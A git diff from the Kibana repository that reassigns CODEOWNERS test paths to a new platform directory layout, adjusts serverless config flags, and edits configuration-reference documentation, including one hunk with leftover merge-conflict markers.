/x-pack/test/functional/fixtures/kbn_archiver/maps.json @elastic/kibana-presentation @@ -1587,12 +1618,12 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /x-pack/test/functional/services/canvas_element.ts @elastic/kibana-presentation /x-pack/platform/test/functional/page_objects/canvas_page.ts @elastic/kibana-presentation /x-pack/test/accessibility/apps/group3/canvas.ts @elastic/kibana-presentation -/x-pack/test/upgrade/apps/canvas @elastic/kibana-presentation -/x-pack/test/upgrade/apps/dashboard @elastic/kibana-presentation +/x-pack/platform/test/upgrade/apps/canvas @elastic/kibana-presentation +/x-pack/platform/test/upgrade/apps/dashboard @elastic/kibana-presentation /src/platform/test/functional/screenshots/baseline/tsvb_dashboard.png @elastic/kibana-presentation /src/platform/test/functional/screenshots/baseline/dashboard_*.png @elastic/kibana-presentation /src/platform/test/functional/screenshots/baseline/area_chart.png @elastic/kibana-presentation -/x-pack/test/disable_ems @elastic/kibana-presentation # Assigned per https://github.com/elastic/kibana/pull/165986 +/x-pack/platform/test/disable_ems @elastic/kibana-presentation # Assigned per https://github.com/elastic/kibana/pull/165986 /x-pack/test/functional/fixtures/kbn_archiver/dashboard* @elastic/kibana-presentation /src/platform/test/functional/page_objects/dashboard_page* @elastic/kibana-presentation /src/platform/test/functional/firefox/dashboard.config.ts @elastic/kibana-presentation # Assigned per: https://github.com/elastic/kibana/issues/15023 @@ -1607,16 +1638,16 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /src/platform/test/functional/apps/dashboard/ @elastic/kibana-presentation /src/platform/test/functional/apps/dashboard_elements/ @elastic/kibana-presentation /src/platform/test/functional/services/dashboard/ @elastic/kibana-presentation -/x-pack/test/functional/apps/canvas/ @elastic/kibana-presentation +/x-pack/platform/test/functional/apps/canvas/ @elastic/kibana-presentation /x-pack/test_serverless/functional/test_suites/search/dashboards/ @elastic/kibana-presentation /src/platform/test/plugin_functional/test_suites/panel_actions @elastic/kibana-presentation /x-pack/test/functional/es_archives/canvas/logstash_lens @elastic/kibana-presentation #CC# /src/plugins/kibana_react/public/code_editor/ @elastic/kibana-presentation -/x-pack/test/upgrade/services/maps_upgrade_services.ts @elastic/kibana-presentation +/x-pack/platform/test/upgrade/services/maps_upgrade_services.ts @elastic/kibana-presentation /x-pack/test/stack_functional_integration/apps/maps @elastic/kibana-presentation /x-pack/test/functional/page_objects/geo_file_upload.ts @elastic/kibana-presentation -/x-pack/test/functional/page_objects/gis_page.ts @elastic/kibana-presentation -/x-pack/test/upgrade/apps/maps @elastic/kibana-presentation +/x-pack/platform/test/functional/page_objects/gis_page.ts @elastic/kibana-presentation +/x-pack/platform/test/upgrade/apps/maps @elastic/kibana-presentation /x-pack/platform/test/api_integration/apis/maps/ @elastic/kibana-presentation /x-pack/test/functional/apps/maps/ @elastic/kibana-presentation /x-pack/test/functional/es_archives/maps/ @elastic/kibana-presentation @@ -1743,9 +1774,9 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /x-pack/test/plugin_functional/config.ts @elastic/appex-qa /x-pack/test/plugin_functional/ftr_provider_context.d.ts @elastic/appex-qa /x-pack/test/plugin_functional/page_objects.ts @elastic/appex-qa -/x-pack/test/upgrade/services/index.ts @elastic/appex-qa -/x-pack/test/upgrade/ftr_provider_context.d.ts @elastic/appex-qa -/x-pack/test/upgrade/config.ts @elastic/appex-qa +/x-pack/platform/test/upgrade/services/index.ts @elastic/appex-qa +/x-pack/platform/test/upgrade/ftr_provider_context.d.ts @elastic/appex-qa +/x-pack/platform/test/upgrade/config.ts @elastic/appex-qa /x-pack/test/functional_basic/ftr_provider_context.d.ts @elastic/appex-qa /x-pack/test/functional/services/remote_es/remote_es.ts @elastic/appex-qa /x-pack/test/functional/services/random.js @elastic/appex-qa @@ -1756,7 +1787,7 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /x-pack/test/functional/ftr_provider_context.ts @elastic/appex-qa /x-pack/platform/test/functional/ftr_provider_context.ts @elastic/appex-qa /x-pack/test/functional/README.md @elastic/appex-qa -/x-pack/test/examples/config.ts @elastic/appex-qa +/x-pack/platform/test/examples/config.ts @elastic/appex-qa /x-pack/test/common/services/index.ts @elastic/appex-qa /x-pack/test/common/services/bsearch_secure.ts @elastic/appex-qa /x-pack/test/common/ftr_provider_context.ts @elastic/appex-qa @@ -1858,7 +1889,7 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /src/platform/packages/shared/kbn-es/src/stateful_resources/roles.yml @elastic/appex-qa /x-pack/test/api_integration/deployment_agnostic/ftr_provider_context.d.ts @elastic/appex-qa /x-pack/test/api_integration/deployment_agnostic/README.md @elastic/appex-qa -/x-pack/test/api_integration/deployment_agnostic/*configs/ @elastic/appex-qa +/x-pack/platform/test/api_integration_deployment_agnostic/*configs/ @elastic/appex-qa /x-pack/test/api_integration/deployment_agnostic/services/ @elastic/appex-qa /x-pack/platform/test/api_integration_deployment_agnostic/ @elastic/appex-qa /x-pack/platform/test/kibana.jsonc @elastic/appex-qa @@ -1877,6 +1908,17 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /x-pack/solutions/security/test/api_integration/ftr_provider_context.d.ts @elastic/appex-qa /x-pack/solutions/security/test/api_integration/services/index.ts @elastic/appex-qa /x-pack/solutions/security/test/alerting_api_integration/ftr_provider_context.d.ts @elastic/appex-qa +<<<<<<< HEAD +======= +/x-pack/test/apm_api_integration @elastic/appex-qa # temporarily due to SKA tests relocation +/x-pack/test/common/utils/observability @elastic/appex-qa # temporarily due to SKA tests relocation +/x-pack/test/common/utils/uptime @elastic/appex-qa # temporarily due to SKA tests relocation +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.index.ts @elastic/appex-qa # temporarily due to SKA tests relocation +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.serverless.config.ts @elastic/appex-qa # temporarily due to SKA tests relocation +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.index.ts @elastic/appex-qa # temporarily due to SKA tests relocation +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.stateful.config.ts @elastic/appex-qa # temporarily due to SKA tests relocation +>>>>>>> 47077ef8587 ([ska] relocate deployment-agnostic platform tests (#223534)) +/x-pack/platform/test/serverless @elastic/appex-qa # Core /src/platform/test/api_integration/fixtures/kbn_archiver/management/saved_objects/relationships.json @elastic/kibana-core @elastic/kibana-data-discovery @@ -1901,7 +1943,7 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /x-pack/platform/test/api_integration/apis/kibana @elastic/kibana-core /src/platform/test/api_integration/fixtures/import.ndjson @elastic/kibana-core /x-pack/platform/test/plugin_api_integration @elastic/kibana-core # Assigned per https://github.com/elastic/kibana/pull/146704 -/x-pack/test/localization/ @elastic/kibana-core # Assigned per https://github.com/elastic/kibana/pull/146704 +/x-pack/platform/test/localization/ @elastic/kibana-core # Assigned per https://github.com/elastic/kibana/pull/146704 /src/platform/test/ui_capabilities/newsfeed_err @elastic/kibana-core # Assigned per https://github.com/elastic/kibana/pull/66562 /src/platform/test/server_integration/services/types.d.ts @elastic/kibana-core # Assigned per https://github.com/elastic/kibana/pull/81140 /src/platform/test/server_integration/http @elastic/kibana-core @@ -1913,7 +1955,7 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /x-pack/test/cloud_integration @elastic/kibana-core /x-pack/test/cloud_integration/plugins/saml_provider @elastic/kibana-core /src/platform/test/server_integration @elastic/kibana-core -/x-pack/test/functional_cors @elastic/kibana-core +/x-pack/platform/test/functional_cors @elastic/kibana-core /x-pack/test/stack_functional_integration/apps/telemetry @elastic/kibana-core /src/platform/test/plugin_functional/plugins/core* @elastic/kibana-core /src/platform/test/plugin_functional/platform/plugins/shared/telemetry @elastic/kibana-core @@ -1929,7 +1971,7 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /src/platform/test/plugin_functional/test_suites/core* @elastic/kibana-core /src/platform/test/interpreter_functional/plugins/kbn_tp_run_pipeline @elastic/kibana-core /x-pack/test/functional/fixtures/kbn_archiver/saved_objects_management @elastic/kibana-core -/x-pack/test/functional_embedded @elastic/kibana-core +/x-pack/platform/test/functional_embedded @elastic/kibana-core /src/platform/test/node_roles_functional @elastic/kibana-core /src/platform/test/functional/page_objects/newsfeed_page.ts @elastic/kibana-core # assigned per https://github.com/elastic/kibana/pull/160210 /src/platform/test/functional/page_objects/home_page.ts @elastic/appex-sharedux @@ -1953,16 +1995,16 @@ x-pack/platform/plugins/shared/ml/server/models/data_recognizer/modules/security /src/platform/test/api_integration/apis/stats @elastic/kibana-core # Assigned per: https://github.com/elastic/kibana/pull/20577 /src/platform/test/api_integration/apis/saved_objects* @elastic/kibana-core /src/platform/test/api_integration/apis/core/*.ts @elastic/kibana-core -/x-pack/test/functional/apps/saved_objects_management @elastic/kibana-core -/x-pack/test/usage_collection @elastic/kibana-core -/x-pack/test/licensing_plugin @elastic/kibana-core -/x-pack/test/functional_execution_context @elastic/kibana-core +/x-pack/platform/test/functional/apps/saved_objects_management @elastic/kibana-core +/x-pack/platform/test/usage_collection @elastic/kibana-core +/x-pack/platform/test/licensing_plugin @elastic/kibana-core +/x-pack/platform/test/functional_execution_context @elastic/kibana-core /x-pack/platform/test/api_integration/apis/telemetry @elastic/kibana-core /x-pack/platform/test/api_integration/apis/status @elastic/kibana-core /x-pack/platform/test/api_integration/apis/stats @elastic/kibana-core /x-pack/platform/test/api_integration/apis/kibana/stats @elastic/kibana-core -/x-pack/test/api_integration/deployment_agnostic/apis/core/ @elastic/kibana-core -/x-pack/test/api_integration/deployment_agnostic/apis/saved_objects_management/ @elastic/kibana-core +/x-pack/platform/test/api_integration_deployment_agnostic/apis/core/ @elastic/kibana-core +/x-pack/platform/test/api_integration_deployment_agnostic/apis/saved_objects_management/ @elastic/kibana-core /x-pack/test_serverless/functional/test_suites/security/config.saved_objects_management.ts @elastic/kibana-core /config/ @elastic/kibana-core /config/serverless.yml @elastic/kibana-core @elastic/kibana-security @@ -2027,14 +2069,14 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /src/platform/test/functional/page_objects/login_page.ts @elastic/kibana-security /x-pack/test_serverless/functional/test_suites/observability/role_management @elastic/kibana-security /x-pack/platform/test/functional/config_security_basic.ts @elastic/kibana-security -/x-pack/test/functional/page_objects/user_profile_page.ts @elastic/kibana-security +/x-pack/platform/test/functional/page_objects/user_profile_page.ts @elastic/kibana-security /x-pack/platform/test/functional/page_objects/space_selector_page.ts @elastic/kibana-security /x-pack/platform/test/functional/page_objects/security_page.ts @elastic/kibana-security /x-pack/platform/test/functional/page_objects/role_mappings_page.ts @elastic/kibana-security /x-pack/platform/test/functional/page_objects/copy_saved_objects_to_space_page.ts @elastic/kibana-security # Assigned per https://github.com/elastic/kibana/pull/39002 /x-pack/test/functional/page_objects/api_keys_page.ts @elastic/kibana-security /x-pack/platform/test/functional/page_objects/account_settings_page.ts @elastic/kibana-security -/x-pack/test/functional/apps/user_profiles @elastic/kibana-security +/x-pack/platform/test/functional/apps/user_profiles @elastic/kibana-security /x-pack/test/common/services/spaces.ts @elastic/kibana-security /x-pack/test/api_integration/config_security_*.ts @elastic/kibana-security /x-pack/test/functional/apps/api_keys @elastic/kibana-security @@ -2071,13 +2113,13 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /x-pack/platform/test/api_integration/apis/security/ @elastic/kibana-security /x-pack/platform/test/api_integration/apis/spaces/ @elastic/kibana-security /x-pack/platform/test/api_integration_basic/apis/security/ @elastic/kibana-security -/x-pack/test/ui_capabilities/ @elastic/kibana-security +/x-pack/platform/test/ui_capabilities/ @elastic/kibana-security /x-pack/platform/test/encrypted_saved_objects_api_integration/ @elastic/kibana-security /x-pack/platform/test/functional/apps/security/ @elastic/kibana-security /x-pack/platform/test/functional/apps/spaces/ @elastic/kibana-security /x-pack/test/security_api_integration/ @elastic/kibana-security /x-pack/test/security_functional/ @elastic/kibana-security -/x-pack/test/spaces_api_integration/ @elastic/kibana-security +/x-pack/platform/test/spaces_api_integration/ @elastic/kibana-security /x-pack/platform/test/saved_object_api_integration/ @elastic/kibana-security /x-pack/test_serverless/**/test_suites/common/platform_security/ @elastic/kibana-security /x-pack/test_serverless/**/test_suites/search/platform_security/ @elastic/kibana-security @@ -2114,9 +2156,9 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /x-pack/test/functional/services/actions @elastic/response-ops /x-pack/solutions/security/test/api_integration_basic/apis/security_solution/index.ts @elastic/response-ops @elastic/kibana-cases /x-pack/solutions/security/test/api_integration_basic/apis/security_solution/cases_privileges.ts @elastic/response-ops @elastic/kibana-cases -/x-pack/test/upgrade/services/rules_upgrade_services.ts @elastic/response-ops -/x-pack/test/upgrade/apps/rules @elastic/response-ops -/x-pack/test/examples/triggers_actions_ui_examples @elastic/response-ops # Assigned per https://github.com/elastic/kibana/blob/main/x-pack/examples/triggers_actions_ui_example/kibana.jsonc#L4 +/x-pack/platform/test/upgrade/services/rules_upgrade_services.ts @elastic/response-ops +/x-pack/platform/test/upgrade/apps/rules @elastic/response-ops +/x-pack/platform/test/examples/triggers_actions_ui_examples @elastic/response-ops # Assigned per https://github.com/elastic/kibana/blob/main/x-pack/examples/triggers_actions_ui_example/kibana.jsonc#L4 /x-pack/test/functional/services/rules @elastic/response-ops /x-pack/platform/test/plugin_api_integration/plugins/sample_task_plugin @elastic/response-ops /x-pack/test/functional/fixtures/kbn_archiver/cases @elastic/response-ops @elastic/kibana-cases @@ -2172,11 +2214,13 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /src/platform/test/functional/fixtures/kbn_archiver/annotation_listing_page_search.json @elastic/search-kibana /src/platform/test/functional/fixtures/es_archiver/search/downsampled @elastic/search-kibana /x-pack/test/functional_solution_sidenav/tests/search_sidenav.ts @elastic/search-kibana -/x-pack/test/functional/services/search_sessions.ts @elastic/search-kibana +/x-pack/platform/test/functional/services/search_sessions.ts @elastic/search-kibana +/x-pack/platform/test/functional/page_objects/search_sessions_management_page.ts @elastic/search-kibana /x-pack/test/functional/page_objects/search_* @elastic/search-kibana +x-pack/platform/test/functional/page_objects/search_profiler_page.ts @elastic/search-kibana /x-pack/test/functional/apps/search_playground @elastic/search-kibana /x-pack/test_serverless/functional/page_objects/svl_ingest_pipelines.ts @elastic/search-kibana -/x-pack/test/functional/apps/dev_tools/embedded_console.ts @elastic/search-kibana +/x-pack/platform/test/functional/apps/dev_tools/embedded_console.ts @elastic/search-kibana /x-pack/test/functional/apps/ingest_pipelines/feature_controls/ingest_pipelines_security.ts @elastic/search-kibana /x-pack/test/functional/page_objects/embedded_console.ts @elastic/search-kibana /x-pack/test/functional_enterprise_search/ @elastic/search-kibana @@ -2205,16 +2249,16 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /x-pack/test/functional/page_objects/remote_clusters_page.ts @elastic/kibana-management /x-pack/test/stack_functional_integration/apps/ccs @elastic/kibana-management /x-pack/test/functional/services/data_stream.ts @elastic/kibana-management -/x-pack/test/functional/page_objects/watcher_page.ts @elastic/kibana-management -/x-pack/test/functional/page_objects/upgrade_assistant_page.ts @elastic/kibana-management -/x-pack/test/functional/page_objects/snapshot_restore_page.ts @elastic/kibana-management +/x-pack/platform/test/functional/page_objects/watcher_page.ts @elastic/kibana-management +/x-pack/platform/test/functional/page_objects/upgrade_assistant_page.ts @elastic/kibana-management +/x-pack/platform/test/functional/page_objects/snapshot_restore_page.ts @elastic/kibana-management /x-pack/test/functional/page_objects/rollup_page.ts @elastic/kibana-management /x-pack/test/functional/page_objects/ingest_pipelines_page.ts @elastic/kibana-management /x-pack/test/functional/page_objects/grok_debugger_page.ts @elastic/kibana-management /x-pack/test/functional/page_objects/cross_cluster_replication_page.ts @elastic/kibana-management /x-pack/test/functional/fixtures/ingest_pipeline_example_mapping.csv @elastic/kibana-management -/x-pack/test/functional/apps/snapshot_restore @elastic/kibana-management -/x-pack/test/functional/apps/painless_lab @elastic/kibana-management +/x-pack/platform/test/functional/apps/snapshot_restore @elastic/kibana-management +/x-pack/platform/test/functional/apps/painless_lab @elastic/kibana-management /x-pack/test_serverless/functional/test_suites/common/spaces/spaces_management.ts @elastic/kibana-management /x-pack/test/stack_functional_integration/apps/management @elastic/kibana-management /x-pack/test/functional/page_objects/*_management_page.ts @elastic/kibana-management @@ -2226,8 +2270,8 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /x-pack/test/functional/apps/license_management @elastic/kibana-management /x-pack/test/functional/apps/management @elastic/kibana-management /x-pack/test/functional/apps/remote_clusters @elastic/kibana-management -/x-pack/test/functional/apps/upgrade_assistant @elastic/kibana-management -/x-pack/test/functional/apps/dev_tools @elastic/kibana-management +/x-pack/platform/test/functional/apps/upgrade_assistant @elastic/kibana-management +/x-pack/platform/test/functional/apps/dev_tools @elastic/kibana-management /src/platform/test/plugin_functional/test_suites/management @elastic/kibana-management /x-pack/test/upgrade_assistant_integration @elastic/kibana-management /src/platform/test/plugin_functional/plugins/management_test_plugin @elastic/kibana-management @@ -2239,16 +2283,16 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /src/platform/test/functional/apps/saved_objects_management @elastic/kibana-management /src/platform/test/functional/apps/console/*.ts @elastic/kibana-management /src/platform/test/api_integration/apis/console/*.ts @elastic/kibana-management -/x-pack/test/api_integration/deployment_agnostic/apis/console/ @elastic/kibana-management +/x-pack/platform/test/api_integration_deployment_agnostic/apis/console/ @elastic/kibana-management /src/platform/test/accessibility/apps/management.ts @elastic/kibana-management /src/platform/test/accessibility/apps/console.ts @elastic/kibana-management /x-pack/test/api_integration/services/index_management.ts @elastic/kibana-management -/x-pack/test/functional/services/grok_debugger.js @elastic/kibana-management +/x-pack/platform/test/functional/services/grok_debugger.ts @elastic/kibana-management /x-pack/test/functional/apps/grok_debugger @elastic/kibana-management /x-pack/test/functional/apps/index_lifecycle_management @elastic/kibana-management /x-pack/test/functional/apps/index_management @elastic/kibana-management /x-pack/test/api_integration/services/ingest_pipelines @elastic/kibana-management -/x-pack/test/functional/apps/watcher @elastic/kibana-management +/x-pack/platform/test/functional/apps/watcher @elastic/kibana-management /x-pack/platform/test/api_integration/apis/watcher @elastic/kibana-management /x-pack/platform/test/api_integration/apis/upgrade_assistant @elastic/kibana-management /x-pack/platform/test/api_integration/apis/searchprofiler @elastic/kibana-management @@ -2266,8 +2310,8 @@ x-pack/platform/plugins/private/cloud_integrations/cloud_full_story/server/confi /x-pack/test_serverless/functional/test_suites/common/dev_tools/ @elastic/kibana-management /x-pack/test_serverless/**/test_suites/common/grok_debugger/ @elastic/kibana-management /x-pack/platform/test/api_integration/apis/management/ @elastic/kibana-management -/x-pack/test/api_integration/deployment_agnostic/apis/management/ @elastic/kibana-management -/x-pack/test/api_integration/deployment_agnostic/apis/painless_lab/ @elastic/kibana-management +/x-pack/platform/test/api_integration_deployment_agnostic/apis/management/ @elastic/kibana-management +/x-pack/platform/test/api_integration_deployment_agnostic/apis/painless_lab/ @elastic/kibana-management /x-pack/test/functional/apps/rollup_job/ @elastic/kibana-management /x-pack/platform/test/api_integration/apis/grok_debugger @elastic/kibana-management /x-pack/test/accessibility/apps/group1/advanced_settings.ts @elastic/kibana-management @@ -2389,6 +2433,15 @@ x-pack/test/security_solution_api_integration/test_suites/sources @elastic/secur x-pack/solutions/security/plugins/security_solution/public/asset_inventory @elastic/kibana-cloud-security-posture +## Security Solution sub teams - Security Entity Store + +x-pack/platform/packages/shared/kbn-entities-schema/src/schema/v1 @elastic/entity-store +x-pack/platform/plugins/shared/entity_manager/server/lib/entities @elastic/entity-store +x-pack/platform/plugins/shared/entity_manager/server/lib/auth @elastic/entity-store +x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store @elastic/entity-store +x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store @elastic/entity-store +x-pack/test/security_solution_api_integration/test_suites/entity_analytics/entity_store/ @elastic/entity-store + ## Security Solution sub teams - Threat Hunting /x-pack/platform/plugins/shared/stack_connectors/common/thehive @elastic/security-threat-hunting @@ -2533,6 +2586,9 @@ x-pack/test/security_solution_api_integration/test_suites/investigations @elasti /x-pack/platform/plugins/shared/stack_connectors/server/connector_types/inference @elastic/appex-ai-infra @elastic/security-generative-ai @elastic/obs-ai-assistant /x-pack/platform/plugins/shared/stack_connectors/common/inference @elastic/appex-ai-infra @elastic/security-generative-ai @elastic/obs-ai-assistant +# Token tracking +x-pack/platform/plugins/shared/actions/server/lib/token_tracking @elastic/security-generative-ai + ## Defend Workflows owner connectors /x-pack/platform/plugins/shared/stack_connectors/public/connector_types/sentinelone @elastic/security-defend-workflows /x-pack/platform/plugins/shared/stack_connectors/server/connector_types/sentinelone @elastic/security-defend-workflows @@ -2630,6 +2686,8 @@ x-pack/test/security_solution_api_integration/test_suites/investigations @elasti /x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/rule_gaps.ts @elastic/security-detection-engine /x-pack/test/security_solution_api_integration/test_suites/lists_and_exception_lists @elastic/security-detection-engine /x-pack/test/functional/es_archives/asset_criticality @elastic/security-detection-engine +/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions @elastic/security-detection-engine +/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists @elastic/security-detection-engine ## Security Threat Intelligence - Under Security Platform /x-pack/solutions/security/plugins/security_solution/public/common/components/threat_match @elastic/security-detection-engine @@ -2653,7 +2711,6 @@ x-pack/solutions/security/plugins/security_solution/server/assistant/tools/defen /x-pack/solutions/security/plugins/security_solution/scripts/endpoint/ @elastic/security-defend-workflows /x-pack/test/security_solution_endpoint/ @elastic/security-defend-workflows /x-pack/test/security_solution_api_integration/test_suites/edr_workflows/ @elastic/security-defend-workflows -/x-pack/test_serverless/shared/lib/security/kibana_roles/ @elastic/security-defend-workflows /x-pack/solutions/security/plugins/security_solution_serverless/public/upselling/sections/endpoint_management @elastic/security-defend-workflows /x-pack/solutions/security/plugins/security_solution_serverless/public/upselling/pages/endpoint_management @elastic/security-defend-workflows /x-pack/solutions/security/plugins/security_solution_serverless/server/endpoint @elastic/security-defend-workflows @@ -2805,7 +2862,7 @@ x-pack/solutions/observability/plugins/observability_shared/public/components/pr /x-pack/test/functional_solution_sidenav/ftr_provider_context.ts @elastic/appex-sharedux /x-pack/test/functional_solution_sidenav/services.ts @elastic/appex-sharedux /x-pack/test/functional_solution_sidenav/index.ts @elastic/appex-sharedux -/x-pack/test/functional_cloud @elastic/appex-sharedux +/x-pack/platform/test/functional_cloud @elastic/appex-sharedux /x-pack/platform/test/functional/services/user_menu.ts @elastic/appex-sharedux # Assigned per https://github.com/elastic/kibana/pull/179270 /x-pack/test/accessibility/apps/**/config.ts @elastic/appex-sharedux /x-pack/test/accessibility/apps/**/index.ts @elastic/appex-sharedux @@ -2891,3 +2948,7 @@ x-pack/plugins/observability_solution/synthetics/server/saved_objects/synthetics #### ## These rules are always last so they take ultimate priority over everything else #### + +# See https://github.com/elastic/kibana/pull/199404 +# Prevent backport assignments +* @kibanamachine diff --git a/.github/paths-labeller.yml b/.github/paths-labeller.yml index 00cc41418908d..1348dd1506dec 100644 --- a/.github/paths-labeller.yml +++ b/.github/paths-labeller.yml @@ -26,7 +26,6 @@ - 'Team:Obs AI Assistant': - 'x-pack/platform/plugins/shared/observability_ai_assistant/**/*.*' - 'x-pack/plugins/observability_solution/observability_ai_assistant_*/**/*.*' - - 'x-pack/test/observability_ai_assistant_api_integration/**/*.*' - 'x-pack/test/observability_ai_assistant_functional/**/*.*' - 'ci:project-deploy-observability': - 'packages/kbn-apm-*/**/*.*' diff --git a/config/serverless.es.yml b/config/serverless.es.yml index 1b8ca16edbae6..2b7372374f5be 100644 --- a/config/serverless.es.yml +++ b/config/serverless.es.yml @@ -120,7 +120,7 @@ xpack.observabilityAIAssistant.scope: "search" aiAssistantManagementSelection.preferredAIAssistantType: "observability" # Query Rules UI -xpack.searchQueryRules.enabled: false +xpack.searchQueryRules.enabled: true ## Search Connectors in stack management xpack.contentConnectors.ui.enabled: false diff --git a/config/serverless.oblt.logs_essentials.yml b/config/serverless.oblt.logs_essentials.yml index 35abf909523b0..e9f358a34ce97 100644 --- a/config/serverless.oblt.logs_essentials.yml +++ b/config/serverless.oblt.logs_essentials.yml @@ -10,6 +10,7 @@ xpack.apm.enabled: false xpack.legacy_uptime.enabled: false xpack.ux.enabled: false xpack.uptime.enabled: false +xpack.exploratoryView.enabled: false xpack.fleet.internal.registry.excludePackages: [ # Oblt integrations diff --git a/config/serverless.security.yml b/config/serverless.security.yml index 3e3a1eb782a33..a607ace5d629d 100644 --- a/config/serverless.security.yml +++ b/config/serverless.security.yml @@ -211,3 +211,6 @@ xpack.alerting.rules.run.ruleTypeOverrides: # These features are disabled in Serverless until fully tested xpack.securitySolution.enableExperimental: - privilegedUserMonitoringDisabled + +# AI Assistant config +aiAssistantManagementSelection.preferredAIAssistantType: 'security' \ No newline at end of file diff --git a/docs/reference/configuration-reference/alerting-settings.md b/docs/reference/configuration-reference/alerting-settings.md index f03e6744bb42f..2aca07071f0ca 100644 --- a/docs/reference/configuration-reference/alerting-settings.md +++ b/docs/reference/configuration-reference/alerting-settings.md @@ -168,7 +168,7 @@ $$$action-config-email-domain-allowlist$$$ Disabled action types will not appear as an option when creating new connectors, but existing connectors and actions of that type will remain in Kibana and will not function. ::::{important} - [Preconfigured connectors](/reference/connectors-kibana/pre-configured-connectors.md) are not affected by this setting. + [Preconfigured connectors](/reference/connectors-kibana/pre-configured-connectors.md) are not affected by this setting. :::: Data type: `string` @@ -492,8 +492,8 @@ For more examples, go to [Preconfigured connectors](/reference/connectors-kibana * For an [{{bedrock}} connector](/reference/connectors-kibana/bedrock-action-type.md), current support is for the Anthropic Claude models. * In {{serverless-full}}, the default is `us.anthropic.claude-3-7-sonnet-20250219-v1:0`. * In {{stack}} 9.0, the default is `anthropic.claude-3-5-sonnet-20240620-v1:0`. - * In {{stack}} 9.1 and later, the default is `us.anthropic.claude-3-7-sonnet-20250219-v1:0`. {applies_to}`stack: planned 9.1` - * For a [{{gemini}} connector](/reference/connectors-kibana/gemini-action-type.md), current support is for the Gemini models. Defaults to `gemini-1.5-pro-002`. + * In {{stack}} 9.1 and later, the default is `us.anthropic.claude-3-7-sonnet-20250219-v1:0`. {applies_to}`stack: ga 9.1` + * For a [{{gemini}} connector](/reference/connectors-kibana/gemini-action-type.md), current support is for the Gemini models. Defaults to `gemini-2.5-pro`. * For a [OpenAI connector](/reference/connectors-kibana/openai-action-type.md), it is optional and applicable only when `xpack.actions.preconfigured..config.apiProvider` is `OpenAI`. Data type: `string` diff --git a/docs/reference/configuration-reference/apm-settings.md b/docs/reference/configuration-reference/apm-settings.md index bea6083d4ab92..9f03c36ed65fa 100644 --- a/docs/reference/configuration-reference/apm-settings.md +++ b/docs/reference/configuration-reference/apm-settings.md @@ -1,7 +1,6 @@ --- mapped_pages: - https://www.elastic.co/guide/en/kibana/current/apm-settings-kb.html - - https://github.com/elastic/cloud/blob/master/docs/cloud-enterprise/ce-apm-settings.asciidoc applies_to: deployment: ess: all @@ -90,19 +89,3 @@ More settings are available in the [Observability advanced settings](/reference/ `xpack.apm.latestAgentVersionsUrl` ![logo cloud](https://doc-icons.s3.us-east-2.amazonaws.com/logo_cloud.svg "Supported on {{ech}}") : Specifies the URL of a self hosted file that contains latest agent versions. Defaults to `https://apm-agent-versions.elastic.co/versions.json`. Set to `''` to disable requesting latest agent versions. - -## Logging settings [logging-settings] - -The following APM logging (legacy) settings are a subset of the valid settings: - -`logging.level` -: Specifies the minimum log level. One of debug, info, warning, or error. Defaults to info. - -`logging.selectors` -: The list of debugging-only selector tags used by different APM Server components. Use * to enable debug output for all components. For example, add publish to display all the debug messages related to event publishing. - -`logging.metrics.enabled` -: If enabled, APM Server periodically logs its internal metrics that have changed in the last period. Defaults to true. - -`logging.metrics.period` -: The period after which to log the internal metrics. Defaults to 30s. \ No newline at end of file diff --git a/docs/reference/configuration-reference/logging-settings.md b/docs/reference/configuration-reference/logging-settings.md index 77bcb36c6485f..9b3b24b0fe46f 100644 --- a/docs/reference/configuration-reference/logging-settings.md +++ b/docs/reference/configuration-reference/logging-settings.md @@ -1,7 +1,7 @@ --- mapped_pages: - https://www.elastic.co/guide/en/kibana/current/logging-settings.html - - https://github.com/elastic/cloud/blob/master/docs/cloud-enterprise/ce-kibana-logging-settings.asciidoc + - https://www.elastic.co/guide/en/cloud-enterprise/current/ece-kibana-logging-settings.html applies_to: deployment: self: all @@ -52,29 +52,4 @@ The following table serves as a quick reference for different logging configurat | `logging.loggers[]..appenders` | Determines the appender to apply to a specific logger context as an array. Optional and falls back to the appender(s) of the `root` logger if not specified. | | $$$enable-http-debug-logs$$$ `deprecation.enable_http_debug_logs` | Optional boolean to log debug messages when a deprecated API is called. Default is `false`. | -## Logging and audit settings [logging-and-audit-settings] - -To update these settings, refer to [APM settings](/reference/configuration-reference/apm-settings.md). - - -`logging.verbose` -: If set to _true_, all events are logged, including system usage information and all requests. Defaults to _false_. - -`logging.quiet` -: If set to _true_, all logging output other than error messages is suppressed. Defaults to _false_. - -`elasticsearch.logQueries` -: When set to _true_, queries sent to Elasticsearch are logged (requires `logging.verbose` set to _true_). Defaults to _false_. - -`xpack.security.audit.enabled` -: When set to _true_, audit logging is enabled for security events. Defaults to _false_. - -`xpack.security.audit.appender.type` -: When set to _"rolling-file"_ and `xpack.security.audit.enabled` is set to _true_, Kibana ECS audit logs are enabled. -Beginning with version 8.0, this setting is no longer necessary for 